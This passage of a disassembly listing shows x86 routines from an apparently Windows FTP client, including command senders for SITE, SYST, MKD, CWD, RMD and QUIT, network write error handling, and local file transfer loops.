sub_42F040 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F110 proc near ; CODE XREF: sub_42F040+23p
; sub_42F2C0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42F12C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F12C: ; CODE XREF: sub_42F110+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42F254
loc_42F13D: ; CODE XREF: sub_42F110+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42F17E
cmp al, 0Dh
jz short loc_42F17E
cmp esi, 2000h
jnz short loc_42F179
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F1E1
xor esi, esi
loc_42F179: ; CODE XREF: sub_42F110+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42F17E: ; CODE XREF: sub_42F110+35j
; sub_42F110+39j
cmp esi, 2000h
jnz short loc_42F1AC
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F201
xor esi, esi
loc_42F1AC: ; CODE XREF: sub_42F110+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42F13D
test esi, esi
jz loc_42F254
push ebp
call sub_42E170
add esp, 4
test eax, eax
jnz short loc_42F221
loc_42F1DA: ; CODE XREF: sub_42F110+4Ej
; sub_42F110+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F1E1: ; CODE XREF: sub_42F110+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F201: ; CODE XREF: sub_42F110+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F221: ; CODE XREF: sub_42F110+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 82E890h, 108B777Fh, 0AC685752h, 90004475h
dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42F254: ; CODE XREF: sub_42F110+27j
; sub_42F110+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42F110 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F2C0 proc near ; CODE XREF: sub_401BEFj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42F33B
dec eax
jz short loc_42F2F0
dec eax
jz short loc_42F2DC
loc_42F2D4: ; CODE XREF: sub_42F2C0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F2DC: ; CODE XREF: sub_42F2C0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42F2F0
push esi
push 0
push 0
call sub_42F110
add esp, 0Ch
loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj
; sub_42F2C0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_511AD0
test eax, eax
jz short loc_42F304
push eax
call ebx ; free
add esp, 4
loc_42F304: ; CODE XREF: sub_42F2C0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_438292
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_4381FC
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx ; free
add esp, 4
test edi, edi
pop ebx
jz short loc_42F2D4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42DE00
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F33B: ; CODE XREF: sub_42F2C0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42F352
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BEF
add esp, 4
loc_42F352: ; CODE XREF: sub_42F2C0+80j
mov edx, [esi+8]
push edx
call sub_4381FC
sub_42F2C0 endp
; ---------------------------------------------------------------------------
db 56h
db 90h
db 0E8h, 0B9h, 0CEh
dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F3A0: ; CODE XREF: ___:00401CF8j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42F3C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F3C9: ; CODE XREF: ___:0042F3C0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F420: ; CODE XREF: ___:004016CCj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F441
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F441: ; CODE XREF: ___:0042F43Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42F45C
loc_42F44F: ; CODE XREF: ___:0042F45Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42F45C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42F44F
loc_42F45C: ; CODE XREF: ___:0042F44Dj
; ___:0042F453j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F490: ; CODE XREF: ___:00402270j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F4B9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F4B9: ; CODE XREF: ___:0042F4B0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F510: ; CODE XREF: ___:0040227Fj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F539
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F539: ; CODE XREF: ___:0042F530j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F590: ; CODE XREF: ___:0040178Aj
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42E490
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5C0: ; CODE XREF: ___:00402220j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F5E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F5E9: ; CODE XREF: ___:0042F5E0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F640: ; CODE XREF: ___:00401677j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_447670
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F661
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F661: ; CODE XREF: ___:0042F65Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42F677
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F677: ; CODE XREF: ___:0042F672j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42F695
loc_42F683: ; CODE XREF: ___:0042F693j
mov cl, [eax]
test cl, cl
jz short loc_42F695
cmp cl, 22h
jz short loc_42F695
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42F683
loc_42F695: ; CODE XREF: ___:0042F681j
; ___:0042F687j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F6C0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p
; ___:0042F953p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42F77A
mov esi, [esp+14h+arg_C]
mov cx, word_4476B0
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42F72A
mov byte ptr [esp+14h+arg_10], 72h
loc_42F72A: ; CODE XREF: sub_42F6F0+33j
cmp edi, 49h
jnz short loc_42F734
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42F734: ; CODE XREF: sub_42F6F0+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42F794
push 100h
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
call near ptr 77C371FAh
nop
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
nop
call near ptr 77C47A90h
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F77A: ; CODE XREF: sub_42F6F0+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42F78B
mov ebx, dword_511A90
jmp short loc_42F794
; ---------------------------------------------------------------------------
loc_42F78B: ; CODE XREF: sub_42F6F0+91j
mov edx, dword_511A90
lea ebx, [edx+20h]
loc_42F794: ; CODE XREF: sub_42F6F0+57j
; sub_42F6F0+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F73
add esp, 14h
test eax, eax
jnz short loc_42F7B7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj
push 2000h
nop
call near ptr 77C2C407h
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42F82D
mov ebp, dword_511AB0
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42F883
loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_402216
add esp, 0Ch
cmp eax, esi
jl short loc_42F813
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42F7EA
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F813: ; CODE XREF: sub_42F6F0+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F82D: ; CODE XREF: sub_42F6F0+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jle short loc_42F883
mov esi, dword_511AA0
loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj
push ebx
push eax
push 1
push edi
call esi ; fwrite
add esp, 10h
test eax, eax
jbe short loc_42F871
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jg short loc_42F84A
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F871: ; CODE XREF: sub_42F6F0+166j
push offset aLocalfileWrite ; "localfile write"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+14h+var_4], ebp
loc_42F883: ; CODE XREF: sub_42F6F0+F4j
; sub_42F6F0+121j ...
push edi
call near ptr 77C2C21Bh
nop
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42F8A6
push ebx
call near ptr 77C40AB1h
nop
add esp, 4
loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BEF
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F6F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F940: ; CODE XREF: ___:004016A9j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F970: ; CODE XREF: ___:00401D43j
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42F9A7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9A7: ; CODE XREF: ___:0042F99Aj
movsx eax, byte ptr [esp+124h]
mov edi, dword_511A6C
push eax
lea ecx, [esp+1Ch]
push offset dword_4474B8
push ecx
call edi ; sprintf
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42F9E8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9E8: ; CODE XREF: ___:0042F9DBj
push ebx
lea eax, [esp+1Ch]
push offset dword_4476BC
push eax
call edi ; sprintf
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FA44
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_4476B4
push esi
call near ptr 77C41B72h
nop
add esp, 10h
cmp eax, 2
jnz short loc_42FA44
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42FA44: ; CODE XREF: ___:0042FA07j
; ___:0042FA28j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FAA0: ; CODE XREF: ___:004013C0j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42FAD0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FAD0: ; CODE XREF: ___:0042FAC5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_4476C8
push eax
nop
call near ptr 77C3F931h
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42FB0B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FB0B: ; CODE XREF: ___:0042FAFBj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FB70 proc near ; CODE XREF: sub_4016B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
sub_42FB70 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBA0: ; CODE XREF: ___:004016D1j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBD0: ; CODE XREF: ___:0040149Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov esi, dword_511A6C
push edx
lea eax, [esp+10h]
push offset dword_4476E0
push eax
call esi ; sprintf
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FC69
push ebx
lea edx, [esp+10h]
push offset dword_4476D4
push edx
call esi ; sprintf
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FC69: ; CODE XREF: ___:0042FBF1j
; ___:0042FC0Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FCB0: ; CODE XREF: ___:00401C7Bj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42FCD9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FCD9: ; CODE XREF: ___:0042FCD0j
push edx
lea eax, [esp+4]
push offset dword_4476EC
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD30 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42FD69
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42E490
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_4381FC
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_511AD0
push ecx
call edi ; free
push esi
call edi ; free
add esp, 8
pop edi
loc_42FD69: ; CODE XREF: sub_42FD30+Aj
pop esi
retn
sub_42FD30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FD80: ; CODE XREF: ___:004021C1j
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42FD90
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FD90: ; CODE XREF: ___:0042FD87j
push 1Ch
nop
call near ptr 77C2C407h
add esp, 4
test eax, eax
jnz short loc_42FDA6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FDA6: ; CODE XREF: ___:0042FD9Dj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE00: ; CODE XREF: ___:0040151Ej
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FE19
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FE19: ; CODE XREF: ___:0042FE10j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
call near ptr 77C2C21Bh
nop
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE50: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42FE75
test eax, eax
jz short loc_42FE75
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42FE75: ; CODE XREF: ___:0042FE64j
; ___:0042FE68j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEA0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FEB9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FEB9: ; CODE XREF: ___:0042FEB0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42FECD
cmp eax, 1
jz short loc_42FECD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FECD: ; CODE XREF: ___:0042FEBFj
; ___:0042FEC4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEF0: ; CODE XREF: ___:00401519j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF10: ; CODE XREF: ___:00401834j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF30: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF49
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF49: ; CODE XREF: ___:0042FF40j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF70: ; CODE XREF: ___:00402207j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF89
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF89: ; CODE XREF: ___:0042FF80j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFB0: ; CODE XREF: ___:004019B0j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFE0: ; CODE XREF: ___:004019ABj
mov eax, [esp+8]
sub eax, 0
jz short loc_430002
dec eax
jz short loc_42FFF2
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FFF2: ; CODE XREF: ___:0042FFEAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_430002: ; CODE XREF: ___:0042FFE7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430020: ; CODE XREF: ___:00401C1Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_4300BB
mov edi, [esp+18h]
test edi, edi
jz loc_4300BB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_4300B2
mov eax, [esp+14h] ; DATA XREF: ___:off_444E88o
test eax, eax
jz short loc_430060
mov eax, [eax]
test eax, eax
jz short loc_430060
mov eax, [eax]
jmp short loc_430062
; ---------------------------------------------------------------------------
loc_430060: ; CODE XREF: ___:00430054j
; ___:0043005Aj
xor eax, eax
loc_430062: ; CODE XREF: ___:0043005Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_4300A8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_43009F
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43009F: ; CODE XREF: ___:00430097j
push edi
call sub_401690
add esp, 4
loc_4300A8: ; CODE XREF: ___:00430082j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4300B2: ; CODE XREF: ___:0043004Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4300BB: ; CODE XREF: ___:00430029j
; ___:00430035j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430100: ; CODE XREF: ___:0040220Cj
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_430168
mov esi, [ebp+0]
test esi, esi
jz short loc_430168
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401690
